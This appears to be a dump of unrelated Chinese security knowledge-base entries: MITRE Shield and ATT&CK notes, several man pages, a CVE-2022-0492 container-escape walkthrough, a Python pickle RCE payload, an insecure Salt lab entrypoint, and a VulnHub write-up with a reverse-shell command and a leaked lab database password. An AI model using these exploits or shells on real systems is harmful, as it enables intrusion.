text
stringlengths
100
9.93M
category
stringclasses
11 values
# MITRE Shield知识库 ## 介绍 起源于在网络安全对抗中可能有用的技术,MITRE希望Shield知识库可以根据防守者的具体需要,以多种方式使用,可以是操作手册(操定操作流程),也可以是一个防守标准(定标准参考) ## 作用 > 开展积极防御的技术的数据库,还描述了防御计划中常见的一些战术,然后将战术映射到可能有助于实现这些目标的活动 > 该知识库包括一个MITRE ATT&CK和Shield 技术之间的映射,以说明对手战术、技术和过程(TTP)引入的防御可能性。 > > [1] - 具有开展积极防御的技术的数据库 - 描述了防御计划中常见的一些战术,用于将战术映射到可能有助于实现这些目标的活动 - MITRE ATT&CK和Shield 技术之间的映射,用以说明对手战术、技术和过程(TTP)引入的防御可能性 ## 目的 - 使用足够的结构和严格性,而又不必过于僵化或复杂 - 能以多种方式使用,可以是操作手册(操定操作流程),也可以是一个防守标准(定标准参考) ## 术语 ### 涉及的 > - 战术:是抽象的防御者的目的。MITRE发现,有一个能够描述知识库中其他各种元素的效用或用途的分类系统,是很有用的。例如,“引导”战术可以与特定的技术、计划的技术集的一部分,甚至是整个长期交战战略的一部分相关联。 > - 技术:是防御者可以执行的一般行动(actions )。一个技术可能有几种不同的战术效果,这取决于它们是如何实现的。 > - 过程:是一个技术的实现。在这个版本中,只包含一些简单的过程来激发更多的思考。其目的不是提倡特定的产品、解决方案或结果,而是促使组织广泛考虑现存的选择。Shield中包含的数据集,必然是不完整的,因为存在太多可能的变化,无法可靠地记录。 > - 机会空间(Opportunity Spaces):描述当攻击者运用他们的技术时引入的高级别积极防御可能性。 > - 用例(Use Cases):是对防御者如何利用攻击者的行为所呈现的机会(opportunity )的高级别描述。用例有助于进行特定的实现讨论。注意:在知识库的下一个版本中,可以看到用例的自然演化正在发挥作用。 ### 积极防御 > 美国国防部将积极防御定义为“利用受限的进攻性行动和反击,以拒止敌手进入有争议的地区或阵地。”积极防御的范围从基本的网络防御能力到网络欺骗和对手交战行动。[1] - 通用网络防御(General Cyber Defense) - Shield包括了MITRE认为适用于所有防御计划的基本防御技术。要想在欺骗和对手交战中取得成功,必须使用**基本的网络防御技术**,例如:收集系统和网络日志、PCAP、执行数据备份 - 适用于通过对组织所面临的威胁进行评估并确定其优先级时的场景,可以应用于检测和阻止对手 - 所以,虽然Shield似乎面向欺骗和对手交战,但也包括了基本的防御技术 - 网络欺骗(Cyber Deception) - 有越来越多的想法、工具和产品使用“绊脚线”(tripwire)方法来进行网络防御,也就是所谓的“欺骗”。 - 与通用网络防御中的强化和检测活动相比,欺骗更加主动,防御者会故意引入目标和“面包屑”(目标位置的线索)。精心构建的欺骗系统,通常难以与真实生产系统区分开来,可以用作高保真的检测系统。 - Shield的技术可以包括检测、威慑或其他预期效果的欺骗 - 对手交战(Adversary Engagement) - Shield中的许多技术都是为防御者设计的,他们想观察、收集和理解对手针对防御系统的活动。可部署在生产环境或综合环境中,Shield对手交战技术可促进有效、高效的交战。 - Shield知识库可用于分析已知的对手信息(在ATT&CK的帮助下)、计划防御措施、获取对未来有用的知识 ## 模型分析 ### Shield矩阵 以下是MITRE给出的Shield介绍报告中给出的Shield举证,包含两个维度: - 战术:表示防御者试图完成的任务(列) - 技术:描述防御如何实现战术(单个单元格) ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200827110216.png) 图:Shield矩阵 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200827115150.png) 图:Shield中的所有技术[1] TODO 待整理 | 引导 | 收集 | 遏制 | 检测 | 扰乱 | 促进 | 合法化 | 试验 | | -------------- | ---- | ---- | ---- | ---- | ---- | ------ | ---- | | 管理员访问 | | | | | | | | | API监控 | | | | | | | | | 应用程序多样性 | | | | | | | | | 基线 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | ## 参考 - https://www.aqniu.com/learn/61125.html ## References \[1] 美国网络安全 | MITRE Shield 积极防御知识库, [安全客](https://www.anquanke.com/member/2), https://www.anquanke.com/post/id/215312
sec-knowleage
# T1589-003-收集目标组织身份信息-员工姓名 ## 来自ATT&CK的描述 在入侵受害者之前,攻击者可能会收集雇员姓名,这些信息可以在目标定位期间使用。员工姓名用于导出电子邮件地址,以及帮助指导其他侦察工作或制作更可信的诱饵。 攻击者可以轻松地收集雇员姓名,因为它们很容易获得并且可以通过在线或其他可访问的数据集(例如:[社交媒体](https://contribute.knowledge.qihoo.net/detail/technique/T1593/001)或[搜索受害者拥有的网站](https://contribute.knowledge.qihoo.net/detail/technique/T1594))暴露给攻击者(引自:HackersArise Email)(引自:CNET Leaks)。收集这些信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)),建立运营资源(例如:[入侵账号](https://contribute.knowledge.qihoo.net/detail/technique/T1586)),或实现初始访问(例如:[钓鱼攻击](https://contribute.knowledge.qihoo.net/detail/technique/T1566)或[有效账号](https://contribute.knowledge.qihoo.net/detail/technique/T1078))。 ## 测试案例 例如:比如直接通过购买一些招聘网站上的账号即可查看企业的员工的姓名信息。同样招聘网站具备社交属性的话,也可以获取到相关员工的姓名信息。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。 检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1589-001-收集目标组织身份信息-凭证]] [[T1589-002-收集目标组织身份信息-邮箱地址]] ## 参考推荐 MITRE-ATT&CK-T1589-003 <https://attack.mitre.org/techniques/T1589/003/>
sec-knowleage
mke2fs === 创建磁盘分区上的“etc2/etc3”文件系统 ## 补充说明 **mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统。 ### 语法 ```shell mke2fs(选项)(参数) ``` ### 选项 ```shell -b<区块大小>:指定区块大小,单位为字节; -c;检查是否有损坏的区块; -f<不连续区段大小>:指定不连续区段的大小,单位为字节; -F:不管指定的设备为何,强制执行mke2fs; -i<字节>:指定"字节/inode"的比例; -N<inode数>:指定要建立的inode数目; -l<文件>:从指定的文件中,读取文件西中损坏区块的信息; -L<标签>:设置文件系统的标签名称; -m<百分比值>:指定给管理员保留区块的比例,预设为5%; -M:记录最后一次挂入的目录; -q:执行时不显示任何信息; -r:指定要建立的ext2文件系统版本; -R=<区块数>:设置磁盘阵列参数; -S:仅写入superblock与group descriptors,而不更改inode able inode bitmap以及block bitmap; -v:执行时显示详细信息; -V:显示版本信息。 ``` ### 参数 * 设备文件:指定要创建的文件系统的分区设备文件名; * 块数:指定要创建的文件系统的磁盘块数量。 ### 实例 创建指定的ext2文件系统。 ```shell mke2fs -q /dev/hda1 ```
sec-knowleage
.TH while 3tcl .SH NAME .B while - 在条件满足时重复的执行脚本 .SH 总览 .B while test body .SH 描述 while 命令把 test 作为一个表达式来求值(用与 expr 求它的参数的值相同的方式)。这个表达式的值必须是一个正确的 boolean 值;如果它是真值则把 body 传递给 Tcl 解释器来执行它。一旦执行了 body 则再次求值 test ,并重复处理直到最终 test 求值出一个假 boolean 值。可以在 body 中执行 Continue 命令来终止这个循环的当前重复操作(iteration),并可以在 body 中执行 break 命令来导致 while 命令立即终止。while 命令总是返回一个空串。 注意: test 应该总是包围在花括号中。如果不是,在 while 命令开始执行之前将进行变量替换,这意味着循环体所做的变量变更将不考虑在这个表达式中。这将很可能导致无限循环。如果 test 被包围在花括号中,变量替换被推迟到求值这个表达式的时候(在每次循环重复操作之前),所以变量的变化将是可见的。例如,尝试下列脚本并在 $x<10 两边分别加上和不加花括号: .nf set x 0 while {$x<10} { puts "x is $x" incr x } .fi .SH 关键字 boolean 值, 循环, 测试, while .SH 作者 .nf Copyright (C) 1993 The Regents of the University of California. Copyright (C) 1994-1997 Sun Microsystems, Inc. Copyright (C) 1995-1997 Roger E. Critchlow Jr. .fi .SH [中文版维护人] .B 寒蝉退士 .SH [中文版最新更新] .B 2001/11/20 .SH 《中国 Linux 论坛 man 手册页翻译计划》: .BI http://cmpp.linuxforum.net
sec-knowleage
--- title: CVE-2022-0492 --- <center><h1>CVE-2022-0492</h1><b>本文作者:一生热爱</b><br><br></center> --- ## 一、简介 当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机 漏洞产品: linux kernel - cgroup ## 二、环境搭建 ```bash git clone https://github.com/brant-ruan/metarget.git cd metarget/ pip3 install -r requirements.txt ./metarget cnv install cve-2022-0492 ``` 查看安装的内核版本 <img width="800" src="/img/Snipaste_2022-07-07_21-17-28.png"> ## 三、漏洞利用 > 带有 sys_admin 启动 Docker, 关闭 apparmor(否则无法 mount) ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash ``` 上面是带有 CAP_SYS_ADMIN 权限的 Docker ,看网上文章不带有 SYS_ADMIN 权限并关闭所有安全防护的 Docker 也是能进行漏洞利用的,但是我并没有成功,进行mount 的时候不会加载 release_agent 进入 Docker 内部,执行如下命令,挂载 cgroup ```bash mkdir /tmp/testcgroup mount -t cgroup -o memory cgroup /tmp/testcgroup mkdir /tmp/testcgroup/x host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` ``` 修改 release_agent 触发逃逸,将 notify_on_release 设置为1,开启 task 进程清空后执行 release_agent 功能 ```bash echo 1 > /tmp/testcgroup/x/notify_on_release ``` 创建 release_agent 触发时执行的文件 ```bash touch /cmd echo '#!/bin/sh' > /cmd echo "ps -ef >> $host_path/result" >> /cmd chmod 777 /cmd ``` 修改release_agent ,指向 cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径) ```bash echo "$host_path/cmd" > /tmp/testcgroup/release_agent ``` 接下来向 x cgroup 节点中输入一个任务,将自己所属的 sh 的pid 写入 cgroup.procs ```bash sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs" ``` sh 命令只执行了一个 echo 指令,一瞬间就会结束,那么 x cgroup 节点中就 / 没有任何任务了,触发 notify_on_release 执行 release_agent 指向的 /cmd 文件,内核触发,在容器外执行我们指定的命令,完成逃逸,逃逸成功。 <img width="1000" src="/img/Snipaste_2022-07-07_21-17-37.png"> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年7月7日" } } </script>
sec-knowleage
# Python Deserialization * In Python source code, look for: * `cPickle.loads` * `pickle.loads` * `_pickle.loads` * `jsonpickle.decode` ## Pickle The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object. :warning: `import cPickle` will only work on Python 2 ```python import cPickle from base64 import b64encode, b64decode class User: def __init__(self): self.username = "anonymous" self.password = "anonymous" self.rank = "guest" h = User() auth_token = b64encode(cPickle.dumps(h)) print("Your Auth Token : {}").format(auth_token) ``` The vulnerability is introduced when a token is loaded from an user input. ```python new_token = raw_input("New Auth Token : ") token = cPickle.loads(b64decode(new_token)) print "Welcome {}".format(token.username) ``` Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server. > The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source. ```python import cPickle, os from base64 import b64encode, b64decode class Evil(object): def __reduce__(self): return (os.system,("whoami",)) e = Evil() evil_token = b64encode(cPickle.dumps(e)) print("Your Evil Token : {}").format(evil_token) ``` ## References * [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/) * [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/)
sec-knowleage
#!/usr/bin/env python3 import asyncio import json import os import signal async def main(): futures = [] if 'SALT_MINION_CONFIG' in os.environ: with open('/etc/salt/minion.d/minion.conf', 'w') as minion_file: json.dump(json.loads(os.environ['SALT_MINION_CONFIG']), minion_file) futures.append(await asyncio.create_subprocess_exec('salt-minion')) elif 'SALT_PROXY_ID' in os.environ or 'SALT_PROXY_CONFIG' in os.environ: if 'SALT_PROXY_CONFIG' in os.environ: with open('/etc/salt/proxy.d/proxy.conf', 'w') as proxy_file: json.dump(json.loads(os.environ['SALT_PROXY_CONFIG']), proxy_file) if 'SALT_PROXY_ID' in os.environ: futures.append(await asyncio.create_subprocess_exec('salt-proxy', f'--proxyid={os.environ["SALT_PROXY_ID"]}')) else: futures.append(await asyncio.create_subprocess_exec('salt-proxy')) else: if not os.path.exists('/etc/salt/master.d/api.conf'): with open('/etc/salt/master.d/api.conf', 'w') as apifile: if 'SALT_API_CONFIG' in os.environ: json.dump(json.loads(os.environ['SALT_API_CONFIG']), apifile) else: json.dump({ 'rest_cherrypy': { 'port': 8000, 'ssl_crt': '/etc/pki/tls/certs/localhost.crt', 'ssl_key': '/etc/pki/tls/certs/localhost.key', }, 'external_auth': { 'sharedsecret': { 'salt': ['.*', '@wheel', '@jobs', '@runner'], }, }, 'sharedsecret': os.environ.get('SALT_SHARED_SECRET', 'supersecret'), }, apifile) if 'SALT_MASTER_CONFIG' in os.environ: with open('/etc/salt/master.d/master.conf', 'w') as masterfile: json.dump(json.loads(os.environ['SALT_MASTER_CONFIG']), masterfile) with open('/etc/salt/master.d/user.conf', 'w') as userfile: json.dump({'user': 'root'}, userfile) futures.append(await asyncio.create_subprocess_exec('salt-api')) futures.append(await asyncio.create_subprocess_exec('salt-master')) futures.append(await asyncio.create_subprocess_exec("/usr/sbin/sshd", "-D")) futures.append(await asyncio.create_subprocess_exec("/usr/sbin/cron", "-f", "-L", "15")) await asyncio.gather(*[future.communicate() for future in futures]) if __name__ == '__main__': loop = asyncio.get_event_loop() for signame in {'SIGINT', 'SIGTERM'}: loop.add_signal_handler(getattr(signal, signame), loop.stop) try: loop.run_until_complete(main()) finally: loop.close()
sec-knowleage
.TH UTMP 5 " July 2, 1997 .PP .SH "NAME[名称] .PP utmp, wtmp - 登 录 记 录(login records) .SH "SYNOPSIS[总览] .PP #include .SH "DESCRIPTION[描述] .PP \fButmp\fP 文 件 用 于 记 录 当 前 系 统 用 户 是 哪 些 人。 但 是 实 际 的 人 数 可 能 比 这 个 数 目 要 多 , 因 为 并 非 所 有 用 户 都 用 utmp 登 录。 .PP \fB警告:\fP \fButmp\fP 必 须 置 为 不 可 写 , 因 为 很 多 系 统 程 序 ( 有 点 傻 的 那 种 ) 依 赖 于 它。 如 果 你 将 它 置 为 可 写 , 其 他 用 户 可 能 会 修 改 它 (//* 导 致 程 序 运 行 出 错 ) 。 (//* (//* )中 为 译 者 注) 文 件 中 是 一 些 条 目 的 列 表 , 条 目 的 结 构 ( 在 utmp.h 中 进 行 了 声 明 ) 见 下 ( 注 意 这 里 只 列 出 了 一 部 分 ; 细 节 依 libc 的 版 本 有 所 不 同 ): .nf #define UT_UNKNOWN 0 #define RUN_LVL 1 #define BOOT_TIME 2 #define NEW_TIME 3 #define OLD_TIME 4 #define INIT_PROCESS 5 #define LOGIN_PROCESS 6 #define USER_PROCESS 7 #define DEAD_PROCESS 8 #define ACCOUNTING 9 #define UT_LINESIZE 12 #define UT_NAMESIZE 32 #define UT_HOSTSIZE 256 struct exit_status { short int e_termination; /* process termination status. */ short int e_exit; /* process exit status. */ }; struct utmp { short ut_type; /* type of login */ pid_t ut_pid; /* pid of login process */ char ut_line[UT_LINESIZE]; /* device name of tty - "/dev/" */ char ut_id[4]; /* init id or abbrev. ttyname */ char ut_user[UT_NAMESIZE]; /* user name */ char ut_host[UT_HOSTSIZE]; /* hostname for remote login */ struct exit_status ut_exit; /* The exit status of a process marked as DEAD_PROCESS. */ long ut_session; /* session ID, used for windowing*/ struct timeval ut_tv; /* time entry was made. */ int32_t ut_addr_v6[4]; /* IP address of remote host. */ char pad[20]; /* Reserved for future use. */ }; /* Backwards compatibility hacks. */ #define ut_name ut_user #ifndef _NO_UT_TIME #define ut_time ut_tv.tv_sec #endif #define ut_xtime ut_tv.tv_sec #define ut_addr ut_addr_v6[0] .fi .PP .PP 这 个 结 构 给 出 了 与 用 户 终 端 联 系 的 文 件 , 用 户 的 登 录 名 , 记 录 于 \fItime\fP(2) 表 中 的 登 录 时 间 。 字 符 串 如 果 比 给 定 的 大 小 小 的 话 , 则 以 \fB'\\0'\fP 结 束 之。 .PP 第一个条目由 \fIinit\fP(8) 执行 \fIinittab\fP(5)而产生。然而,在产生条目以前, \fIinit\fP(8) 先将 utmp 清空(通过设定 \fBut_type\fP 为 \fBDEAD_PROCESS\fP来实现. 当\fBut_type\fP 不是 \fBDEAD_PROCESS\fP 或 \fBRUN_LVL\fP 并且不存在进程号为 \fBut_pid\fP 的进程时,通过用空串清空 \fBut_user\fP, \fBut_host\fP 和 \fBut_time\fP 来实现。如果不存在 \fBut_id\fP 的空记录, init(初始化时) 会创建一个。它将会依据 inittab 来设置 \fBut_id\fP , 设置\fB ut_pid\fP 和 \fBut_time\fP 为当前值,设置 \fBut_type\fP 到 \fBINIT_PROCESS\fP. .PP \fIgetty\fP(8) 依据进程号定位条目, 将 \fBut_type\fP 改为 \fBLOGIN_PROCESS\fP, 改变 \fBut_time\fP, 设定 \fBut_line\fP ,然后等待连接建立。 \fIlogin\fP(8), 在鉴别完用户后, 将 \fBut_type\fP 改为 \fBUSER_PROCESS\fP, 改变 \fBut_time\fP 并设定 \fBut_host\fP 和 \fBut_addr\fP. 根据 \fIgetty\fP(8) 和 \fIlogin\fP(8)完成的功能, 可以用 \fBut_line\fP 来定位记录,虽然用 \fBut_pid\fP 可能更好些。 .PP 当 \fIinit\fP(8) 发现有进程存在时, 它通过 \fBut_pid\fP 来定位它的 utmp 条目, 设定 \fBut_type\fP 为 \fBDEAD_PROCESS\fP ,然后用零字节清空 \fBut_user\fP, \fBut_host\fP 和 \fBut_time\fP 。 .PP \fIxterm\fP(1) 和其他终端仿真器直接创建 \fBUSER_PROCESS\fP 记录并通过使用\fB /dev/ttyp\fP\fI%c\fP 的最后两个字母或用\fB p\fP\fI%d\fP \fB(/dev/pts/\fP\fI%d\fP)来产生\fB ut_id\fP 。 如果它们找到这个 id 的 \fBDEAD_PROCESS\fP , 它们就使用它,否则就创建一个新的条目. 如果可能,它们将它标记为 \fBDEAD_PROCESS\fP 并将 \fBut_line\fP, \fBut_time\fP, \fBut_user\fP 和 \fBut_host\fP 置为 null。 .PP \fIxdm\fP(8) 不会创建 utmp 记录, 因为没有终端与它相连. 试图用它产生 utmp 记录会引起如下错误:finger: can not stat /dev/machine.dom. 它应该用于创建 wtmp 条目, 和 \fIftpd\fP(8) 相似. .PP \fItelnetd\fP(8) 设定 \fBLOGIN_PROCESS\fP 条目并把其他的的留给 \fIlogin\fP(8) 去做。telnet 任务结束后, \fItelnetd\fP(8) cleans up utmp in the described way.(??) .PP \fBwtmp\fP 文件记录了所有的登录和退出。它的格式与 \fButmp\fP 几乎完全一样(例外是:用空用户名来表示在相关终端上的退出)。除此以外, 用终端名 \fB"~"\fP 和用户名 \fB"shutdown"\fP 或 \fB"reboot"\fP 表示系统关机或重启, the pair of terminal names \fB"|"\fP/\fB"}"\fP logs the old/new system time when \fIdate\fP(1) changes it. \fBwtmp\fP 由 \fIlogin\fP(1), 和 \fIinit\fP(1) 以及某些版本的 \fIgetty\fP(1) 使用. 但是这些程序并不创建它,所以如果将它删除的话您就得不到记录了。 .SH "FILES[相关文件] .PP /var/run/utmp .br /var/log/wtmp .SH "CONFORMING TO[遵循] .PP Linux utmp 既不遵循 v7/BSD 也不遵循 SYSV: 它实际是两者的混合. v7/BSD 中域比较少; 最重要的是它没有 \fBut_type\fP (\fBut_type\fP 可以使本地的 v7/BSD-类的程序显示(以次为例) dead 或 login 条目.而且,没有为任务分配通道的文件. BSD 则相反(BSD does so), 因为它缺少的是 \fBut_id\fP 域. 在 Linux 中(SYSV 中也一样), 记录的 \fBut_id\fP 域一旦设定就不再改变,它保留通道而不需要什么配置文件. 清除 \fBut_id\fP 可能会引起 race conditions 从而导致安全漏洞. 就 SYSV 的要求来讲,用空字节填充的方式来清空上面提到的各个域不是必须的,但是这样做使得运行采用 BSD 语法而又不改变 utmp 的程序成为可能. 正如上面所写的,Linux 在句子中使用 BSD 的惯例. .PP SYSV 在句子中仅使用类型域去标识它们或是登录信息(例如:. \fB"new time"\fP). \fBUT_UNKNOWN\fP 只在 Linux 中有. SYSV 没有 \fBut_host\fP 和 \fBut_addr_v6\fP 域. .PP 不象其它各种系统, 您可以通过删除文件来禁止 utmp , 在 Linux 中 utmp 必须一直存在. 如果你要禁止 \fIwho\fP(1) 命令,您需要使整个 utmp 不可读. .PP 需要注意的是在 libc5 和 libc6 中 utmp 的结构是不同的.因此使用旧结构的程序会破坏 \fI/var/run/utmp\fP 和/or \fI/var/log/wtmp\fP. Debian 系统包含一个修补过的 libc5 它可以使用新的格式. 但对 wtmp, 问题依然存在因为它直接对 libc5 进行存取. .SH "RESTRICTIONS[限制] .PP 文件格式依机器而不同, 因此推荐的做法是:在创建它的机器上使用它. .SH "BUGS[缺憾] .PP 本手册页基于 libc5 , 现在可能情况已有不同了. .SH "SEE ALSO[另见] .PP \fBac\fP(1), \fBdate\fP(1), \fBgetutent\fP(3), \fBinit\fP(8), \fBlast\fP(1), \fBlogin\fP(1), \fBupdwtmp\fP(3), \fBwho\fP(1) .SH "[中文版维护人]" .B Redcandle <redcandle51@chinaren.com> .SH "[中文版最新更新]" .B 2001.11.08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# ZICO2:1 > 下载地址:https://download.vulnhub.com/zico/zico2.ova ## 实战演练 找到靶场IP:`192.168.32.154` ![image-20220612140025154](../../.gitbook/assets/image-20220612140025154.png) 扫描对外端口 ``` ┌──(root💀kali)-[~/Desktop] └─# nmap -sT -sV -p1-65535 192.168.32.154 Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-12 02:00 EDT Nmap scan report for 192.168.32.154 Host is up (0.00032s latency). Not shown: 65531 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) 111/tcp open rpcbind 2-4 (RPC #100000) 41224/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:BA:E4:65 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds ``` 浏览器访问 ![image-20220612140247686](../../.gitbook/assets/image-20220612140247686.png) 获取WEB系统的信息,找到`dbadmin`目录 ``` ┌──(root💀kali)-[~/Desktop] └─# dirb http://192.168.32.154/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Jun 12 02:03:31 2022 URL_BASE: http://192.168.32.154/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.154/ ---- + http://192.168.32.154/cgi-bin/ (CODE:403|SIZE:290) ==> DIRECTORY: http://192.168.32.154/css/ ==> DIRECTORY: http://192.168.32.154/dbadmin/ ==> DIRECTORY: http://192.168.32.154/img/ + http://192.168.32.154/index (CODE:200|SIZE:7970) + http://192.168.32.154/index.html (CODE:200|SIZE:7970) ==> DIRECTORY: http://192.168.32.154/js/ + http://192.168.32.154/LICENSE (CODE:200|SIZE:1094) + http://192.168.32.154/package (CODE:200|SIZE:789) + http://192.168.32.154/server-status (CODE:403|SIZE:295) + http://192.168.32.154/tools (CODE:200|SIZE:8355) ==> DIRECTORY: http://192.168.32.154/vendor/ + http://192.168.32.154/view (CODE:200|SIZE:0) ---- Entering directory: http://192.168.32.154/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.32.154/dbadmin/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.32.154/img/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.32.154/js/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.32.154/vendor/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sun Jun 12 02:03:35 2022 DOWNLOADED: 4612 - FOUND: 8 ``` ``` ┌──(root💀kali)-[~/Desktop] └─# nikto -host http://192.168.32.154/ - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.32.154 + Target Hostname: 192.168.32.154 + Target Port: 80 + Start Time: 2022-06-12 02:03:42 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Ubuntu) + Server may leak inodes via ETags, header found with file /, inode: 3803593, size: 7970, mtime: Thu Jun 8 15:18:30 2017 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3268: /css/: Directory indexing found. + OSVDB-3092: /css/: This might be interesting... + OSVDB-3268: /img/: Directory indexing found. + OSVDB-3092: /img/: This might be interesting... + OSVDB-3233: /icons/README: Apache default file found. + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.26 + /package.json: Node.js package file found. It may contain sensitive information. + 8725 requests: 0 error(s) and 15 item(s) reported on remote host + End Time: 2022-06-12 02:03:59 (GMT-4) (17 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ``` ![image-20220612140747155](../../.gitbook/assets/image-20220612140747155.png) phpLiteAdmin v1.9.3存在RCE漏洞 ![image-20220612141113220](../../.gitbook/assets/image-20220612141113220.png) 使用`admin`密码进行登录 ![image-20220612141149351](../../.gitbook/assets/image-20220612141149351.png) 创建数据库,名字叫`hack.php` ![image-20220612141611533](../../.gitbook/assets/image-20220612141611533.png) 创建一个表,里面内容填写`<?php phpinfo()?>`,其中`hack.php`在`/usr/databases/`文件夹内 ![image-20220612142038461](../../.gitbook/assets/image-20220612142038461.png) 主站有文件包含漏洞 ![image-20220612142234405](../../.gitbook/assets/image-20220612142234405.png) 这样可以文件包含`hack.php`。 ``` http://192.168.32.154/view.php?page=../../../../../../../../usr/databases/hack.php ``` ![image-20220612142109944](../../.gitbook/assets/image-20220612142109944.png) 接下来要进行反弹shell,先把这个表的内容清空,在添加以下反弹shell代码 ![image-20220612142425540](../../.gitbook/assets/image-20220612142425540.png) ``` <?php exec("python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"192.168.32.130\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'") ?> ``` ![image-20220612142514382](../../.gitbook/assets/image-20220612142514382.png) 反弹成功 ![image-20220612142537243](../../.gitbook/assets/image-20220612142537243.png) 在`/home/zico/wordpress`目录找到`wp-config.php`配置文件,找到一个账号密码:`zico/sWfCsfJSPV9H3AmQzw8` ``` $ cat wordpress/wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'zico'); /** MySQL database username */ define('DB_USER', 'zico'); /** MySQL database password */ define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8'); /** MySQL hostname */ define('DB_HOST', 'zico'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', 'put your unique phrase here'); define('SECURE_AUTH_KEY', 'put your unique phrase here'); define('LOGGED_IN_KEY', 'put your unique phrase here'); define('NONCE_KEY', 'put your unique phrase here'); define('AUTH_SALT', 'put your unique phrase here'); define('SECURE_AUTH_SALT', 'put your unique phrase here'); define('LOGGED_IN_SALT', 'put your unique phrase here'); define('NONCE_SALT', 'put your unique phrase here'); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the Codex. * * @link https://codex.wordpress.org/Debugging_in_WordPress */ define('WP_DEBUG', false); /* That's all, stop editing! Happy blogging. */ /** Absolute path to the WordPress 